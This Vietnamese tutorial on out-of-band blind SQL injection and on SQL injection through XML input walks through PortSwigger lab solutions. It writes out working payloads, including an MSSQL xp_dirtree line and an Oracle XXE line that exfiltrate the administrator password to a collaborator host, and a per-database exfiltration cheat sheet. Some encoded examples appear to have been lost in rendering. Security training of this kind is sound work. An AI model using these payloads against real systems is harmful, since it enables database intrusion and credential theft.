SQL injection vulnerabilities - Lỗ hổng SQL injection (Phần 8)
II. Phân tích và khai thác các lỗ hổng SQL Injection (tiếp)
6. Blind SQL injection (tiếp)
6.4. Khai thác lỗ hổng Blind SQL injection bằng out-of-band (OAST) techniques
Phương pháp tấn công lỗ hổng Blind SQL injection bằng kỹ thuật Out-of-band có thể còn xa lạ với nhiều bạn. Trước hết các bạn cần hiểu về dịch vụ phân giải tên miền DNS (có thể đọc lại các bài viết về chủ đề OS command injection).
Tại trường hợp này, đặt ra giả thiết rằng một trang web chứa lỗ hổng Blind SQL injection, tuy nhiên tất cả các phương pháp tấn công trên đều không mang lại hiểu quả, trang web không trả về thông báo rõ ràng, phản hồi không có error dù câu truy vấn thực thi bị lỗi, và cũng không thể bị khai thác bằng cách kích hoạt times delay. Điều này là có thể, chẳng hạn trang web được cài đặt thực thi các câu truy vấn không đồng bộ.
Lúc này chúng ta có thể sử dụng kỹ thuật tấn công Out-of-band khai thác lỗ hổng. Chẳng hạn với hệ cơ sở dữ liệu Microsoft SQL Server, có thể thực hiện một quá trình DNS lookup nhằm xác định lỗ hổng Blind SQL injection bằng payload sau:
'; exec master..xp_dirtree '//b8k3x9r3ws891m1ceppwxj0ksby2mr.oastify.com/a'--
Khi trang web thực thi câu truy vấn có chứa script của chúng ta sẽ thực hiện một request truy cập tới dịch vụ phân giải tên miền b8k3x9r3ws891m1ceppwxj0ksby2mr.oastify.com
và chúng ta cũng sẽ nhận được một request gửi từ database trang web.
Sau khi xác định vị trí xảy ra lỗ hổng Blind SQL injection và có thể khai thác bằng kỹ thuật Out-of-band, tiếp theo có thể thực hiện truy xuất dữ liệu. Chẳng hạn chúng ta cần khai thác mật khẩu của người dùng administrator trong cột password, bảng users, xây dựng payload như sau:
'; declare @t varchar(1024);set @t=(SELECT password FROM users WHERE username='administrator');exec('master..xp_dirtree "//'+@t+'.b8k3x9r3ws891m1ceppwxj0ksby2mr.oastify.com/a"')--
Khi thực thi câu truy vấn, trong cơ sở dữ liệu sẽ khai báo một biến @t
có kiểu varchar, kích thước , gán giá trị cho nó bằng kết quả câu truy vấn SELECT password FROM users WHERE username='administrator'
, và "đính kèm" biến này vào tên miền được phân giải trong dịch vụ phân giải DNS. Về phía nhận sẽ thu được request cùng với biến @t
- chính là mật khẩu người dùng administrator chúng ta cần tìm kiếm:
passwordofadministrator.b8k3x9r3ws891m1ceppwxj0ksby2mr.oastify.com
Đối với mỗi hệ cơ sở dữ liệu khác nhau, cú pháp thực hiện quá trình DNS lookup cũng khác nhau:
database management system | DNS lookup syntax |
---|---|
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual hoặc SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
MySQL | LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') hoặc SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
Lưu ý:
- Trong Oracle, cách sử dụng lỗ hổng XXE để kích hoạt DNS Lookup, còn nhiều bản Oracle chưa được vá; cách dùng cho các bản Oracle được vá đầy đủ nhưng yêu cầu quyền hạn cao hơn.
- Trong MySQL, các cú pháp dùng cho hệ điều hành Window.
Dưới đây là các cú pháp truy xuất dữ liệu trong kỹ thuật Out-of-band với từng loại cơ sở dữ liệu:
database management system | DNS lookup with data exfiltration syntax |
---|---|
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); |
MySQL | SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
Lưu ý trong MySQL, các cú pháp dùng cho hệ điều hành Window.
Phân tích lab Blind SQL injection with out-of-band data exfiltration
Miêu tả: Trang web chứa lỗ hổng SQL injection dạng Blind khi phân tích và thực hiện truy vấn SQL bằng cookie theo dõi (tracking cookie), trong câu truy vấn có chứa giá trị của cookie đã gửi. Câu truy vấn được thực thi không đồng bộ nên chỉ có thể khai thác bằng kỹ thuật Out-of-band. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm tìm kiếm mật khẩu tài khoản administrator, biết rằng trong cơ sở dữ liệu chứa bảng users, gồm cột username và password.
Thử các payload thực hiện DNS lookup, chúng ta xác định được trang web sử dụng hệ cơ sở dữ liệu Oracle, payload:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Thực hiện DNS lookup thành công, có thể chắc chắn cookie TrackingId chứa lỗ hổng Blind SQL injection có thể tấn công bằng kỹ thuật Out-of-band.
Để truy xuất mật khẩu người dùng administrator trong bảng users, chúng ta có câu truy vấn SELECR password FROM users WHERE username = 'administrator'
, kết hợp với kỹ thuật Out-of-band chúng ta có payload như sau:
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
Thu được mật khẩu administrator:
Đăng nhập với tài khoản administrator:obvn5yxn0hhxe20eqqwz, bài lab hoàn thành:
Kỹ thuật Out-of-band trong tấn công Blind SQL injection thực sự đã mang lại hiệu quả rất bất ngờ phải không các bạn. Sau khi phát hiện nơi chứa lỗ hổng SQL injection, chúng ta không cần phải tìm kiếm các dấu hiệu cụ thể, và không cần phải thử từng ký tự như các kỹ thuật tấn công trước. Trong kỹ thuật tấn công Out-of-band chúng ta có thể truy xuất dữ liệu trực tiếp, giống như đang thực thi truy vấn ngay trong database vậy, chỉ khác là dữ liệu đầu ra được trả về gián tiếp thông qua quá trình phân giải tên miền.
7. Khai thác lỗ hổng SQL injection với dữ liệu đầu vào dạng JSON hoặc XML
Bên cạnh các lỗ hổng SQL injection với dữ liệu input trực tiếp ở dạng string, một số trang web với các dữ liệu input ở dạng JSON hoặc XML cũng có thể được sử dụng trong câu truy vấn SQL. Ví dụ một trang web có input trong chức năng kiểm tra số lượng đơn hàng còn lại ở dạng XML như sau:
<stockCheck>
<productId>
123
</productId>
<storeId>
999
</storeId>
</stockCheck>
Ở các trường hợp này cũng có thể khai thác bằng các kỹ thuật tấn công khác nhau, tuy nhiên chúng thường được thêm một vài lớp cơ chế bảo vệ, có thể bypass bằng một số cách mã hóa dữ liệu, chẳng hạn mã hóa ký tự S bằng HTML encode:
<stockCheck>
<productId>
123
</productId>
<storeId>
999 SELECT * FROM information_schema.tables
</storeId>
</stockCheck>
Phân tích lab SQL injection with filter bypass via XML encoding
Miêu tả: Trang web chứa lỗ hổng SQL injection trong chức năng kiểm tra số đơn hàng còn lại trong kho. Để giải quyết bài lab, chúng ta cần khai thác lỗ hổng nhằm tìm kiếm mật khẩu tài khoản administrator, biết rằng trong cơ sở dữ liệu chứa bảng users, gồm cột username và password.
Chức năng kiểm tra số đơn hàng còn lại trong kho có dữ liệu input ở dạng XML:
Ký tự '
bị ngăn chặn:
Thực hiện bypass bằng URL encode:
Xác định được câu truy vấn trả về cột dữ liệu duy nhất:
Truy xuất mật khẩu tài khoản administrator nhưng đã bị ngăn chặn:
Thử lần lượt chúng ta thấy các từ khóa UNION, SELECT không cho phép, bypass bằng HTML encode: UNION
, SELECT
, ký tự '
trở thành '
Thu được tài khoản administrator:mhuea86vg7r6gxwhguv3, đăng nhập và bài lab được hoàn thành:
Tài liệu tham khảo
- https://portswigger.net/web-security/sql-injection/blind
- https://portswigger.net/web-security/sql-injection
- https://portswigger.net/web-security/sql-injection/cheat-sheet
©️ Tác giả: Lê Ngọc Hoa từ Viblo
All rights reserved